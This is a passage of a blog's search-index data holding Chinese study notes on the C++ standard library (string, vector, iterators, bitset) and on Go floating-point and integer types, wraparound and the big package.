long)具有相同的含义,而且可以保证足够大能够存储任意string对象的长度。未来使用由string类型定义的size_type类型,程序员必须加上作用域操作符来说明使用的size_type类型是由string类定义的。\n\n注意:任何存储string的size操作结果的变量必须为string::size_type类型。\n\n3.string关系操作符\nstring类定义了几种关系操作符用来比较两个string值的大小。这些操作符实际上是比较每个string对象的字符。\n\nstring对象比较操作是区分大小写的,即同一个字符的大小写形式被认为是两个不同的字符。在多数计算机上,大写的字符位于小写字母之前:任何一个大写字母都小于任意的小写字母。\n\n==操作符比较两个string对象,如果它们相等,则返回true。两个string对象相等是指它们的长度相同,且含有相同的字符。标准库还定义了!=操作符来测试两个string对象是否不等。\n关系操作符<,<=,>,>分别用于测试一个string对象是否小于、小于或等于、大于、大于或等于另一个string对象:\nstring big="big",small="small";string s1=big;if(big==small)if(big<=s1)\n\n关系操作符比较两个string对象时采用了和(大小写敏感的)字典排序相同的策略;\n\n如果两个string对象长度不同,且短的string对象与长的string对象的前面部分相匹配,则短的string对象小于长的string对象。\n如果两个string对象的字符不同,则比较第一个不匹配的字符。string substr="hello";string phrase="hello world";string slang="hiya";\n则substr小于phrase,而slang则大于substr或phrase。\n\n4.string对象的赋值\nstring对象,可以把一个string对象赋值给另一个string对象:\nstring str1,str2="the expense of spirit";str1=str2;\n\n5.两个string对象相加\nstring对象的加法被定义为连接(concatenation)。也就是说,两个(或多个)string对象可以通过使用加操作符+或者复合赋值操作符+=连接起来。给定两个string对象:\nstring s1("hello,");string s2("world\\n");string s3=s1+s2;s1+=s2;\n\n6.和字符串字面值的连接\n上面的字符对象s1和s2直接包含了标点符号。也可以通过将string对象和字符串字面值混合得到同样的结果:\nstring s1("hello");string s2("world");string s3=s1+","+s2+"\\n";\n当进行string对象和字符串字面值混合连接操作时,+操作符的左右操作数必须至少有一个是string类型的:\nstring s5=s1+","+"world";string s6="hello"+","+s2;\n\n7.从string对象获取字符string类型通过下标操作符([])来访问string对象中的单个字符。下标操作符需要取一个size_type类型的值,来标明要访问的位置。这个下标中的值通常被称为 “下标” 或 “索引(index)”。\n\n注解:string对象的下标从0开始。如果s是一个string对象且s不空,则s[0]就是字符串的第一个字符,s[1]就表示第二个字符(如果有的话),而s[s.size()-1]则表示s的最后一个字符。引用下标时如果超出下标作用范围就会引起溢出错误。\n\nstring s("hello world");for(string::size_type n=0;n!=s.size();n++){ cout<<s[n]<<endl;}\n\n8.下标操作可用作左值\n和变量一样,string对象的下标操作返回值也是左值。因此,下标操作可以放于赋值操作符的左边或右边。通过下面循环把str对象的每一个字符置为*:\n9.计算下标值\n任何可产生整型值的表达式都可用作下标操作符的索引。\nstr[someotherval*someval]=someval;\n虽然任何整型数值都可作为索引,但索引的实际数据类型却是unsigned类型string::size_type。\n\n建议:前面讲过,一个用string::size_type类型的变量接受size函数的返回值。在定义用作索引的比哪里时,出于同样的道理,string对象的索引变量最好也用string::size_type类型。\n\n在使用下标索引string对象时,必须保证索引值 “在上下界范围内”。“在上下界范围内” 就是指索引值是一个赋值为size_type类型的值,其取值范围在0到string对象长度减1之间。使用string::size_type类型或其他unsigned类型作为索引,就可以保证索引值不小于0,只要索引值是unsigned类型,就只需要检测它是否小于string对象的长度。\n\n注意:标准库不要去检查索引值,所用索引的下标越界是没有定义的,这样往往会导致严重的运行时错误。\n\nstring对象中字符的处理适用于string对象的字符(或其它char值)。\n这些函数都在cctype头文件中定义。\n\n\n\n\ncctype定义的函数\n\n\n\nisalnum(c)\n如果c是字母或数字,则为true。\n\n\nisalpha(c)\n如果c是字母,则为true。\n\n\niscntrl(c)\n如果c是控制字符,则为true。\n\n\nisdigit(c)\n如果c是数字,则为true。\n\n\nisgraph(c)\n如果c不是空格,但可打印,则为true。\n\n\nisprint(c)\n如果c是可打印的字符,则为true。\n\n\nispunct(c)\n如果c是标点符号,则为true。\n\n\nisspace(c)\n如果c是空白字符,则为true。\n\n\nisupper(c)\n如果c是大写字母,则为true。\n\n\nisxdigit(c)\n如果c是十六进制数,则为true。\n\n\ntolower(c)\n如果c是大写字母,则返回其小写字母形式,否则之间返回c。\n\n\ntoupper(c)\n如果c是小写字母,则返回其大写字母形式,否则之间返回c。\n\n\n表中的大部分函数是测试一个给定的字符是否符号条件,并返回一个int值作为真值。如果测试失败,则该函数返回0,否则返回一个(无意义的)非0值,表示被测字符符号条件。\n表中的这些函数,可打印的字符是指那些可用显示表示的字符。空白字符则是空格、制表符、垂直制表符、回车符、换行符和进纸符的任意一种:标点符号则是除了数字、字母或(可打印的)空白字符(如空格)以外的其他可打印字符。\n和返回真值的函数不同的是,tolower和toupper函数返回的是字符,返回实参字符本身或返回该字符相应的大小写字符。我们可用使用\n标准库vector类型vector是同一种类型的对象的集合,每个对象都有一个对应的整数索引值。和string对象一样,标准库将负责管理与存储元素相关的内存。我们把vector称为容器,是因为它可以包含其他对象,一个容器中的所有对象都必须是同一种类型的。\n使用vector之前,必须包含相应的头文件。\n#include <vector>using std::vector;\n\nvector是一个类模板(class template)。使用模板可以编写一个类定义或函数定义,而用于多个不同的数据类型。因此,我们可以定义保存string对象的vector,或保存int值的vector,又或是保存自定义的类类型对象的vector。\n声明从类模板产生的某种类型的对象,需要提供附加信息,信息的种类取决于模板。以vector为例,必须说明vector保存何种对象的类型,通过将类型放在类模板名称后面的尖括号中来指定类型:\nvector<int> ivec;vector<Sales_item> Sqles_vec;\n和其他变量定义一样,定义vector对象要指定类型和一个变量的列表。上面的第一个定义,类型是vector<int>,该类型即是含有若干int类型对象的vector,变量名为ivec。第二个定义的变量名是Sales_vec,它保存的元素是Sales_item类型的对象。\n\n注意:vector不是一种数据类型,而只是一个类模板,可用来定义任意多种数据类型。vector类型的每一种都指定了其保存原始的类型。因此,vector<int>和vector<string>都是数据类型。\n\nvector对象的定义和初始化vector类定义了好几种构造函数,用来定义和初始化vector对象.\n\n\n\n\n几种初始化 vector 对象的方式\n\n\n\nvector<T> v1;\nvector保存类型为T的对象,默认构造函数,v1为空\n\n\nvector<T> v2(v1);\nv2 是 v1 的一个副本\n\n\nvector<T> v3(n,i);\nv3 包含 n 个值为 i 的元素\n\n\nvector<T> v4(n);\nv4 含有值初始化的元素的 n 个副本\n\n\n1.创建确定个数的元素\n若要创建非空的vector对象,必须给出初始化元素的值。当把一个vector对象复制到另一个vector对象时,新复制的vector中每一个元素都初始化为原vector中相应元素的副本。但这两个vector对象必须保存同一种元素类型:\nvector<int> ivec1;vector<int> ivec2(ivec1);vector<string> svec; //error\n可以用元素个数和元素值对vector对象进行初始化。构造函数用元素个数来决定vector对象保存元素的个数,元素值指定每个元素的初始值:\nvector<int> ivec4(10,-1);vector<int> svec(10,"hi!");\n\n\n关键概念:vector对象动态增长vector对象(以及其他标准库容器对象)的重要属性就在于可以在运行时高效地添加元素。\n\n\n注意:虽然可以对给定元素个数的vector对象预先分配内存,但更有效的方法是先初始化一个空vector对象,然后再动态地增加元素。\n\n2.值初始化\n如果没有指定元素的初始化式,那么标准库将自行提供一个元素初始值进行值初始化(value initializationd)。这个由库生成的初始值将用来初始化容器中的每个元素,具体值为何,取决于存储在vector中元素的数据类型。\n如果vector保存内置类型(如int型)的元素,那么标准库将用0值创建元素初始化式:\nvector<int> fvec(10);\n\n如果vector保存的是含有构造函数的类类型(如string)的元素,标准库将用该类型的默认构造函数创建元素初始化式:\nvector<string> svec(10);\n\n还有第三种可能性:元素类型可能是没有定义任何构造函数的类类型。这种情况下,标准库仍产生一个带初始值的对象,这个对象的每个成员进行了值初始化。\nvector对象的操作vector标准库提供了许多类似于string对象的操作,下表列出了几种最重要的vector操作。\n\n\n\n\nvector操作\n\n\n\nv.empty()\n如果 v 为空,则返回 true,否则返回 false。\n\n\nv.size()\n返回 v 中元素的个数。\n\n\nv.push_back(t)\n在 v 的末尾增加一个值为 t 的元素。\n\n\nv[n]\n返回 v 中位置为 n 的元素。\n\n\nv1=v2\n把 v1 的元素替换为 v2 中元素的副本。\n\n\nv1==v2\n如果 v1 与 v2 相等,则返回 false。\n\n\n!=, < , <=, >, >=\n保持这些操作符惯有的含义。\n\n\n1.vector对象的size\nempty和size操作类似于string类型的相关操作。成员函数size返回相应vector类定义的size_type的值。\n\n注解:使用size_type类型时,必须指出该类型是在哪里定义的。vector类型总是包括vector的元素类型:vector<int>::size_type\n\n2.向vector添加元素\npush_back()操作接受一个元素值,并将它作为一个新的元素添加到vector对象的后面,也就是 “插入(push)” 到vector对象的 “后面(back)”:\nstring word;vector<string> text;while(cin>>word){\ttest.push_back(word);}\n\n3.vector的下标操作\nvector中的对象是没有命名的,可以按vector中对象的位置来访问它们。通常使用下标操作符来获取元素。vector的下标操作类似于string类型的下标操作。\nvector的下标操作符接受一个值,并返回vector中该对应位置的元素。vector元素的位置从 0 开始。\nfor(vector<int>::size_type ix=0;ix!=ivec.size();ix++){\tivec[ix]=0;}\n和string类型的下标操作符一样,vector下标操作的结果作为左值,因此可以像循环体中所做的那样实现写入。另外,和string对象的下标操作类似,这里用size_type类型作为vector下标的类型。\n4.下标操作不添加元素\n初学C++的程序员可能会认为vector的下标操作符可以添加元素,其实不然:\nvector<int> ivec;for(vector<int>::size_type ix=0;ix!=10;ix++){\tivec[ix]=ix;}\n\n这里 ivec 是空的vector对象,而且下标只能用于获取已存在的元素。\n正确写法:\nfor(vector<int>::size_type ix=0;ix!=10;ix++){\tivec.push_back(ix);\n\n\n注意:必须是已存在的元素才能用下标操作符进行索引。通过下标操作进行赋值时,不会添加到任何元素。\n\n迭代器简介除了使用下标来访问vector对象的元素外,标准库还提供了另一种访问元素的方法:使用迭代器(iterator)。迭代器是一种检查容器内元素并遍历元素的数据类型。\n标准库为每一种标准容器(包括vector)定义了一种迭代器类型。迭代器类型提供了比下标操作更通用化的方法:所有的标准库容器都定义了相应的迭代器类型,而只有少数的容器支持下标操作。因为迭代器对所有的容器都适用,现代C++程序更倾向于适用迭代器而不是下标操作访问容器元素,即使对支持下标操作的vector类型也是这样。\n1.容器的 iterator类型\n每种容器类型都定义了自己的迭代器类型,如vector:\nvector<int>::iterator iter;\n这条语句定义了一个名为 iter 的变量,它的数据类型是由vector<int>定义的iterator类型。每个标准库容器类型都定义了一个名为iterator的成员,这里的iterator与迭代器实际类型的含义相同。\n2.begin和end操作\n每种容器都定义了一对名为begin和end的函数,用于返回迭代器。如果容器中有元素的化,由begin返回的迭代器指向第一个元素:\nvector<int>::iterator iter=ivec.begin();\n上述语句把 iter 初始化为名为begin的vector操作返回的值。假设vector不空,初始化后,iter即指该元素为ivec[0]。\n由end操作返回的迭代器指向vector的 “末端元素的下一个”。通常称为超出末端迭代器(off-the-end iterator),表明它指向了一个不存在的元素。如果vector为空,begin返回的迭代器与end返回的迭代器相同。\n\n注解:由end操作返回的迭代器并不指向vector中任何实际的元素,相反,它只是起一个哨兵(sentinel)的作用,表示我们已处理完vector中所有元素。\n\n3.vector迭代器的自增和引用运算\n迭代器类型定义了一些操作来获取迭代器所指向的元素,并允许程序员将迭代器从一个元素移动到另一个元素。\n迭代器类型可使用解引用操作符(*操作符)来访问迭代器所指向的元素:\n*iter=0;\n解引用操作符返回迭代器当前所指向的元素。假设iter指向vector对象ivec的第一个元素,那么*iter和ivec[0]就是指向同一个元素。上面这个语句的效果就是把这个元素的值赋为0;\n迭代器使用自增操作符向前移动迭代器指向容器中下一个元素。从逻辑上说,迭代器的自增操作和int型对象的自增操作类似。对int对象来说,操作结果就是把int型值 “加1”,而对迭代器对象则是把容器中的迭代器 “向前移动一个位置”。因此,如果iter指向第一个元素,则++iter指向第二个元素。\n\n注解:由于end操作返回的迭代器不这些任何元素,因此不能对它进行解引用或自增操作。\n\n4.迭代器的其他操作\n另一对可执行于迭代器的操作就是比较:用==或!=操作符来比较两个迭代器,如果两个迭代器对象指向同一个元素,则它们相等,否则就不相等。\n**5.迭代器应用的程序示例\n假设已声明了一个vector<int>型的ivec变量,要把它所有元素值重置为0,可以用下标操作来完成:\nfor(vector<int>::size_type ix=0;ix!=ivec.size();ix++)\tivec[ix]=0;\n\n用迭代器来编写循环:\nfor(vector<int>::iterator iter=ivec.begin();\t\t\titer!=ivec.end();iter++)\t*iter=0;\nfor循环首先定义了iter,并将它初始化为指向itec的第一个元素。for循环的条件测试itec是否于end操作返回的迭代器不等。每次迭代iter都自增1,这个for循环的效果是从ivec第一个元素开始,顺序处理vector中的每一个元素。最后,iter将指向ivec中的最好一个元素,处理完最好一个元素后,iter再增加1,就会与end操作的返回值相等,在这种情况下,循环终止。\nfor循环体内的语句用解引用操作符来访问当前元素的值。和下标操作符一样,解引用操作符的返回值是一个左值,因此可以对它进行赋值来改变它的值。上述循环的效果就是把ivec中所有元素都赋值为0。\n通过上述对代码的详细分析,可以看出这段程序与用下标操作符的版本达到相同的操作效果:从vector的第一个元素开始,把vector中每个元素都置为0.\n6.const_iterator\n前面的程序用vector::iterator改变vector中的元素值。每种容器类型还定义了一种名为const_iterator的类型,该类型只能用于读取容器内元素,但不能改变其值。\n当我们对普通iterator类型解引用时,得到对某个元素的非const引用。而如果我们对const_iterator类型解引用时,则可以得到一个指向const对象的引用,如同任何常量一样,该对象不能进行重写。\n例如,如果 text 是vector<string>类型,程序员想要遍历它,输出每个元素,可以这样编写程序:\nfor(vector<string>::const_iterator iter=text.begin();\t\titer!=test.end();iter++)\tcout<<*iter<<endl;\n\n\n\n迭代器的算术操作\n除了一次移动迭代器的一个元素的增量操作符外,wector迭代器(其他标准库容器迭代器很少)也支持其他的算术操作。这些操作称为迭代器算术操作(iterator arithmetic),包括:\n\niter+n\niter1-iter2\n\n\n注意:任何改变vector长度的操作都会使已存在的迭代器失效。例如,在调用push_back之后,就不能再信赖指向vector的迭代器的值了。\n\n标准库bitset类型有些程序要处理二进制位的有序集,每个位困难包含0(关)值或1(开)值。位是用来保存一组项或条件的yes/no信息(有时也称标志)的简洁方法。标准库提供的bitset类简化了位集的处理。要使用bitset类就必须包含相关的头文件。\n#include <bitset>using std::bitset;\n\nbitset对象的定义和初始化下标列出了bitset的构造函数。类似于vector,bitset类是一种类模板;而与vector不一样的是bitset类型对象的区别仅在于其长度而不在其类型。在定义bitset时,要明确bitset含有多少位,须在尖括号内给出它的长度值:\nbitset<32> bitvec; //32位,全为0\n给出的长度值必须是常量表达式。正如这里给出的,长度值必须定义为整型字面值常量或是已用常量值初始化的整型的const对象。\n这条语句把bitvec定义为含有32个位的bitset对象。喝vector的元素一样,bitset中的位是没有命名的,程序员只能按位置来访问它们。位集合的位置编码从0开始,因此,bitvec的位序是从0到31。以0位开始的位串是低阶位(low-order bit),以31位结束的位串是高阶位(high-order bit)。\n\n\n\n\n初始化bitset对象的方法\n\n\n\nbitset<n> b;\nb有n位,每位都为0\n\n\nbitset<n> b(u);\nb是unsigned long型u的一个副本\n\n\nbitset<n> b(s);\nb是string对象s中含有的位串的副本\n\n\nbitset<n> b(s,pos,n);\nb是s中从位置pos开始的n个位的副本\n\n\n1.用unsigned值初始化bitset对象\n当用unsigned long值作为bitset对象的初始值时,该值将转换为二进制的位模式。而bitset对象中的位集作为这种位模式的副本。如果bitset类型长度大于unsigned long值的二进制位数,则其余的高阶位将置为0;如果bitset类型长度小于unsigned long值的二进制位数,则只使用unsigned值中的低阶位,超过bitset类型长度的高阶位将被丢弃。\n在32位\n2.用string对象初始化bitset对象\n当用string对象初始化bitset对象时,string对象直接表示为位模式。从string对象读入位集的顺序是从右向左:\nstring strval("1100");bitset<32> bitvec4(strval);\nbitvec4的位模式中第2和3的位置为1,其余位置都为0。如果string对象的字符个数小于bitset类型的长度,则高阶位将置为0。\n\nstring对象和bitset对象之间是反向转化的:string对象的最右字符(即下标最低的哪个字符)用来初始化bitset对象的低阶位(即下标为0的位)。当用string对象初始化bitset对象时,记住这一差别很重要。\n\n不一定要把整个string对象都作为bitset对象的初始值。相反,可以只用某个子串作为初始值:\nstring str("1111111000000011001101");bitset<32> bitvec5(str,5,4);bitset<32> bitvec6(str,str.size()-4);\n\nbitset对象上的操作\n\n\n\nbitset操作\n\n\n\nb.any()\nb中是否存在置为1的二进制位?\n\n\nb.none()\nb中存在置为1的二进制位吗?\n\n\nb.count()\nb中置为1的二进制位的个数\n\n\nb.size()\nb中二进制位的个数\n\n\nb[pos]\n访问b中在pos处的二进制位\n\n\nb.test(pos)\nb中在pos处的二进制位是否为1?\n\n\nb.set()\n把b中所有二进制位置为1\n\n\nb.set(pos)\n把b中在pos处的二进制位置为1\n\n\nb.reset()\n把b中所有二进制位都置为0\n\n\nb.reset(pos)\n把b中在pos处的二进制位置为0\n\n\nb.flip()\n把b中所有二进制位诸位取反\n\n\nb.flip(pos)\n把b中在pos处的二进制位取反\n\n\nb.to_ulong()\n用b中同样的二进制位返回一个unsigned long值\n\n\nos<<b\n把b中的位集输出到os流\n\n\n1.测试整个bitset对象2.访问bitset对象中的位3.对整个bitset对象进行设置4.获取bitset对象的值5.输出二进制位6.使用位操作符\n","categories":["编程"],"tags":["Cpp"]},{"title":"Go chapter2","url":"/2024/10/25/program/go/go-chapter2/","content":"实数声明浮点类型变量每个变量都有与之相关联的类型,其中声明和初始化实数变量就需要用到浮点类型。\n以下代码具有相同的作用,即使我们不为days变量指定类型,go编译器也会根据给定值推断出该变量的类型\ndays :=365.2425var days=265.2425var days float64=365.2425\n\n在go语言中,所有带小数点的数字在默认情况下都会被设置为float64类型\n\n如果使用整数去初始化一个变量,匿名go语言只有在显式地指定浮点类型的情况下,才会将其声明为浮点类型变量\nvar days float64=30\n\n单精度浮点型go 语言拥有两种浮点类型,其中默认的浮点类型为 float64,每个 64 位的浮点数需要占用 8 字节内存,很多语言都使用术语双精度浮点数来描述这种浮点数。\ngo语言的另一个浮点类型是 float32 类型,又称单精度浮点数,它占用的内存只有 float64 的一半,但它提供的精度不如 float64 高。为了使用 float32 浮点数,必须在声明变量时指定变量类型。\n//使用math包中定义的值var p64=math.Pivar p32 float64=math.Pifmt.Println(p64)fmt.Println(p32)//运行结果3.1415926535897933.1415927\n\nmath 包中函数处理的都是 float64 类型的值,所以除非你有特殊理由,否则就应该优先使用 float64 类型。\n\n零值在go语言中,每种类型都有相应的默认值,我们将其称为零值(zero value)。\n当你声明一个变量但是却没有为它设置初始值的时候,该变量就会被初始化为零值。\nvar price flaot64//运行结果,打印出数字0fmt.Println(price)//对于计算机来说,上述声明与以下声明是完全相同的price:=0.0\n\n打印浮点类型在使用 print 或者 println 处理浮点类型的时候,函数默认将打印出尽可能多的小数位数。如果这并不是你想要的效果,那么可以通过 printf 函数的格式化变量 %f 来指定被打印小数的位数。\nthird := 1.0/3fmt.Println(third)//打印出0.3333333333333333fmt.Printf("%v\\n",third)//打印出0.3333333333333333fmt.Printf("%f\\n",third)//打印出333333fmt.Printf("%.3f\\n",third)//打印出0.333fmt.Printf("%4.2f\\n",third)//打印出0.33\n\n格式化变量 %f 将根据给定的宽度和精度格式化 third 变量的值。\n格式化变量的精度用于指定小数点之后应该出现的数字数量。\n宽度 精度"%4.2f"\n\n\n另外,格式化变量的宽度指定了打印整个实数(包括整数部分、小数部分和小数点在内)需要显示的最小字符数量。如果用户给定的宽度比打印实数所需的字符数量要大,那么 printf 将使用空格填充输出的左侧。在用户没有指定宽度的情况下,printf 将按需调整打印实数所需的字符数量。\n如果想使用数字 0 而不是空格来填充输出的左侧,那么只需要像如下所示的那样,在宽度的前面加上一个 0 即可。\nfmt.Println("%05.f\\n",third)//打印出00.33\n\n浮点精确性正如 0.33 只是 1/3 的近似值一样,在数学上,某些有理数是无法用小数形式表示的。那么自然地,对近似值即使也将产生一个近似结果。\n例如:\n1/3+1/3+1/3=10.33+0.33+0.33=0.99\n\n因为计算机硬件使用只包含 0 和 1 的二进制数而不是包含 0~9 的十进制来表示浮点数,所以浮点数经常会受到舍入错误的影响。例如:\nthird := 1.0/3fmt.Printf("%f\\n",third)//打印出0.333333fmt.Printf("%7.4f\\n",third)//打印出0.3333fmt.Printf("%06.2f\\n",third)//打印出000.33\n\n计算机虽然可以精确地表示 1/3,但是在使用这个数字和其它数字进行计算的时候却会引发舍入错误。\nthird := 1.0/3.0fmt.Println(third+third+third)//打印出1piggyBank := 0.1piggyBank += 0.2fmt.Println(piggyBank)//打印出 0.30000000000000004\n\n正如所见,浮点数并不是准确无误地,不适合存储对精度要求很高的数字。\n我们可以让 printf 函数只打印小数点后两位小数,这样就可以把底层实参导致的舍入错误掩盖掉。\n为了尽可能地减少舍入错误,我们还可以将乘法计算放到除法计算的前面执行,这种做法通常会得出更为精确的计算结果。\n先执行除法运算\ncel := 21.0fmt.Print((cel/5.0*9.0)+32,"F\\n")fmt.Print((9.0/5.0*cel)+32,"F\\n")//都打印出69.80000000000001F\n先执行乘法计算\ncel := 21.0fah := (cel*9.0/5.0)+32.0fmt.Print(fah,"F")//打印出69.8F\n\n\n避免舍入错误的最佳方法是不使用浮点数\n\n比较浮点数注意,在代码清单中,piggyBank变量的值是 0.30000000000000004 而不是我们想要的 0.30。在比较浮点数的时候,必须小心。\npiggyBank := 0.1piggyBank += 0.2//piggyBank值:0.30000000000000004fmt.Println(piggyBank==0.3)//结果为false\n\n为了避免上述问题,我们可以另辟蹊径,不直接比较两个浮点数,而计算出它们之间的差,然后通过判断这个差的绝对值是否足够小来判断两个浮点数是否相等。为此,我们可以使用 math 包提供的 Abs 函数来计算 float64 浮点数的绝对值:\nfmt.Println(math.Abs(piggyBank-0.3)<0.0001)//打印出true\n\n整数声明整数类型变量在go提供的众多整数类型当中,有 5 种整数类型是有符号(signed) 的,这意味着它们既可以表示正整数,又可以表示负整数。在这些整数类型中,最常用的莫过于代表有符号整数的 int 类型了:\nvar year int=2018\n除有符号整数之外,go还提供了 5 种只能表示非负整数的无符号(unsigned) 整数类型,其中的典型为 uint 类型:\nvar month uint=2\n因为go在进行类型推断的时候总是会选择 int 类型作为整数值的类型,所以下面这3行代码的意义是完全相同的:\nyear := 2018var year = 2018var year int = 2018\n\n提示,如果类型推断可以正确的为变量设置类型,那么我们就没有必要为其指定 int 类型\n\n为不同场合而设的整数类型无论是有符号整数还是无符号整数,它们都有各种不同大小(size)的类型可供选择,而不同大小又会影响它们自身的取值范围以及内存占用。\n下表列出了8种与计算机架构无关的整数类型,以及这些类型需要占用的内存大小。\n\n\n\n类型\n取值范围\n内存占用情况\n\n\n\nint8\n-128~127\n8位(1字节)\n\n\nuint8\n0~255\n8位(1字节)\n\n\nint16\n-32 768~32 767\n16位(2字节)\n\n\nuint16\n0~65 535\n16位(2字节)\n\n\nint32\n-2 147 483 648~2 147 483 647\n32位(4字节)\n\n\nuint32\n0~4 294 967 295\n32位(4字节)\n\n\nint64\n-9 223 372 036 854 775 808~9 223 372 036 854 775 807\n64位(8字节)\n\n\nuint64\n0~18 446 744 073 709 551 615\n64位(8字节)\n\n\nint 类型和 uint 类型会根据目标硬件选择最合适的位长,所以它们未被包含在表里。\n\n\n\n\n\n提示:如果你的程序需要操作20亿以上的数值并且可能会在32位架构上运行,那么请确保你使用的是 int64 类型或者 uint64 类型,而不是 int 类型或者 uint 类型\n\n\n注意:在某些架构上把 int 看作 int32,而在另一些架构上则把 int 看作 int64,这是一种非常想当然的想法,但这种想法实际上并不正确:int 不是其它任何类型的别名,int、int32 和 int64 实际上是3种不同的类型。\n\n了解类型如果你对go编译器推断的类型感到好奇,那么可以使用 printf 函数提供的格式化变量 %T 去查看指定变量的类型。\nyear:=2018fmt.Printf("value:%v\\ntype: %T\\n",year,year)//运行结果value:2018type: int\n为了避免在 printf 函数中重复使用同一个变量两次,我们可以将[1]添加到第二个格式化变量 %v 中,以此来复用第一个格式化变量的值,从而避免代码重复:\nyear:=2018fmt.Printf("value:%v\\ntype: %[1]T\\n",year)//运行结果value:2018type: int\n\n为8位颜色使用uint8类型层叠样式表(CSS)技术通过范围为 0255 的红绿蓝三原色来指定画面上的颜色。因为 8 位无符号整数正好可以表示范围为 0255 的值,所以使用 uint8 类型来表示层叠样式表中的颜色可以说是再合适不过了。\nvar read,green,blue uint8=0,141,213\n与常见的 int 类型相比,使用 uint8 类型有以下好处。\n\nuint8 类型可以将变量的值限制在合法范围之内,与 32 位整数相比,uint8 消除了超过40 亿种可能出现的错误。\n对于未压缩图片这种需要按顺序存储大量颜色的场景,使用 8 位整数可以节省大量内存空间。\n\n\ngo语言中的十六进制数字在go语言中表示十六进制数字必须带有 0x 前缀使用 Printf 函数打印十六进制数字,可以使用 %x 作为格式化变量\n\n整数回绕在go语言中,当超过整数类型的取值范围时,就会出现整数环绕现象。\nvar red uint8 = 255red++fmt.Println(red)//打印出0var number int8 = 127number++fmt.Println(number)//打印出-128\n\n聚焦二进制位为了了解整数出现环绕的原因,我们需要将注意力放到二进制位上,为此需要用到格式化变量 %b,它可以以二进制的形式打印出相应的整数值。跟其他格式化变量一样,%b 也可以启用零填充功能并指定格式化输出的最小长度。\n对 green 加 1 导致进位,最终计算得出二进制数 00000100,也就是十进制数4。\nvar green uint8 = 3fmt.Printf("%08b\\n",green)//打印出00000011green++fmt.Printf("%08b\\n",green)//打印出00000100\n\n提示:math 包定义了值为 65535 的常量 math.MaxUint16,还有与架构无关的整数类型的最大值常量以及最小值常量。再次提醒一下,由于 int 类型和 uint 类型的位长在不同硬件上可能会有所不同,因此 math 包并没有定义这两种类型的最大值常量和最小值常量。\n\n在对值为 255 的 8 位无符号整数 blue 执行增量运算的时候,同样的进位操作将再次出现,但这次进位跟前一次进位有一个重要的区别:对只有 8 位的变量 blue 来说,最高位的 1 将 “无处容身”,并导致变量的值变为0。\nvar blue uint8=255fmt.Printf("%08b\\n",blue)//11111111blue++fmt.Printf("%08b\\n",blue)//00000000\n虽然回绕在某些情况下可能正好是你想要获得的状态,但是有时候也会成为问题。最简单的避免回绕的方法就是选用一种足够长的整数类型,使它能够容纳你想要存储的值。\n避免时间环绕基于 Unix 的操作系统都是由协调时间时(UTC)1970年 1月 1日以来的秒数来表示时间,但是这个秒数在 2038 年将超过 20 亿,也就是大致相当于 int32 类型的最大值。\n虽然 32 位整数无法存储 2038 年以后的日期,但是我们可以通过 64 位整数来解决。在任何平台上,使用 int64 类型和 uint64 类型都可以轻而易举地存储大于 20 亿的数字。\n如下代码使用了一个超过 120 亿的巨大值来展示go足以应对 2038 年后的日期。这段代码使用了来自 time 包的 Unix 函数,该函数接受两个 int64 类型的值作为参数,它们分别代表协调世界时 1970 年 1 月 1 日 以来的秒数和纳秒数。\npackage mainimport ( "fmt" "time")func main(){ future :=time.Unix(12622780800,0) fmt.Println(future)}//运行结果2370-01-01 08:01:20 +0800 CST\n\n\n大数击中天花板利用变量存储半人马座阿尔法星与地球之间的距离——41.3万亿公里。\n这样的大数是无法使用 int32 类型和 uint32 类型存储的。但使用 int64 类型存储这样的值却是绰绰有余的。\ngo语言可以通过使用指数来减少键入 0 的次数\nvar dis int64=41300000000000//使用指数形式var dis int64=41.3e12\n\n尽管 64 位整数已经非常大了,但与整个宇宙相比,它们还是有些太渺小了。具体来说,即使是最大的无符号数类型 uint64,它能存储的数值上限也仅为 18 艾(10的18次方)。\n对存储更大的值,比如地球和仙女星系之间的距离 24 艾来说,尝试使用 uint64 类型存储这一距离将引发溢出错误。\n虽然uint64无法处理这种非常大的数值,但是我们还有其他选择。例如,前面介绍过的浮点数。\n除了浮点类型之外,我们还有另一种方法,那就是接下来要介绍的big包\n\n注意:如果用户没有显示地为包含指数的数值变量指定类型,那么GO将推断其类型为float64\n\nbig包big包提供了以下 3 种类型\n\n存储大整数的 big.Int,它可以轻而易举地存储超过 18 艾的数字。\n存储任意精度浮点数的 big.Float。\n存储诸如 1/3 的分数的 big.Rat。\n\n\n注意:除了使用现有的类型,用户还可以自行声明新类型。\n\n虽然地球与仙女星系之间的距离足有 24 艾公里,但对 big.Int 类型来说,这不过一个微小不足道的数值,big.Int 完全有能力存储和操作它。\n一但决定使用 big.Int,就需要在等式的每个部分都使用这种类型,即使对已存在的常量来说也是如此。使用 big.Int 类型最基本的方法就是使用 NewInt 函数,该函数接受一个 int64 类型的值作为输入,返回一个 big.Int 类型的值作为输出:\npackage mainimport ( "fmt" "math/big")func main(){ num :=big.NewInt(299792) fmt.Println(num)}\nNewInt 虽然使用起来非常方便,但是它对创建 24 艾这种超过 int64 取值上限的大数来说并无帮助。为此,我们可以通过给定一个 string 来创建相应的 big.Int 类型的值:\npackage mainimport ( "fmt" "math/big")func main(){ num :=big.NewInt(299792) dis :=new(big.Int) dis.SetString("240000000000000000",10) fmt.Println(num) fmt.Println(dis)}//运行结果299792240000000000000000\n\n这段代码在创建 big.Int 变量之后,会通过调用 SetString 方法来将它的值设置为 24 艾。另外,因为数值 24 艾是基于十进制的,所以传给SetString 方法的第二个参数为 10。\n\n注意:方法跟函数非常相似\n\n像 big.Int 这样的大类型虽然能够精确表示任意大小的数值,但代价是使用起来比 int、float64 等原生类型要麻烦,并且运行速度也会相对较慢。\n大小非同寻常的常量常量声明可以跟变量声明一样带有类型,但是常量也无法用 uint64 类型存储像 24 艾这样的巨大值:\nconst dis uint64 = 2400000000000000000//尝试定义一个值为2400000000000000000的常量将导致 uint64 类型溢出\n\n但是,如果声明的是一个不带类型的常量,那么事情就会变得有趣起来。正如之前所述,如果在声明整数类型变量的时候没有显示地为其指定类型,那么 Go 将通过类型推断为其指定 int 类型,而当变量的值为 24 艾时,这一行为将导致 int 类型溢出。然而 go 语言在处理常量时的做法与处理常量时的做法并不相同。具体来说go语言不会为常量推断类型,而是直接将其标识为无类型(untyped)。例如,以下代码就不会引发溢出错误:\npackage mainimport ( "fmt")func main(){ const dis=240000000000000000 fmt.Println(dis)}//运行结果240000000000000000\n\n常量通过关键字 const 进行声明,除此之外,程序里的每个字面值(literal 